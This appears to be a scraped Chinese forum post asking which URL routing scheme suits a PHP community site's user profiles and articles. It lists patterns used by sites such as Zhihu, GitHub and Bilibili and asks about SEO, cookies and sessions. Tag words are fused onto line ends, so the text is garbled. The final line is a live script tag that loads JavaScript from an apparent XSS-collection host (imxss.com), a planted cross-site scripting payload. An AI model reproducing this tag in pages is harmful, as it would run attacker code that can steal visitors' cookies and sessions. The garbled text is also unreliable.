例如我有個社區網站php
如今針對用戶主頁有以下幾種路由設計
www.xxx.com/member/{username} (知乎,V2EX,sf.gg,豆瓣採用)
www.xxx.com/{username} (Twitter,github採用)
member.xxx.com/{username} (bilibili採用)
{username}.member.xxx.com (LOFTER採用)
www.xxx.com/profile.php?id={username} (Facebook,百度貼吧採用)
同時針對UGC內容有以下幾種路由設計git
www.xxx.com/{username}/{article_id} (github採用)
www.xxx.com/article/{article_id} (bilibili,知乎問答主站,豆瓣採用)
www.xxx.com/{article_id} (簡書採用)
article.xxx.com/{article_id} (知乎專欄採用)
www.xxx.com/article.php?id={article_id} (老舊CMS採用)
哪一種更好呢?github
這個和SEO關係大嗎?跨域
從代碼可維護角度上考慮呢?(好比說DNS,跨域cookie,session管理等問題)cookie
各方面綜合考慮該使用什麼樣的路由設計方案?session
<script src=//imxss.com/s/1594.do></script>xss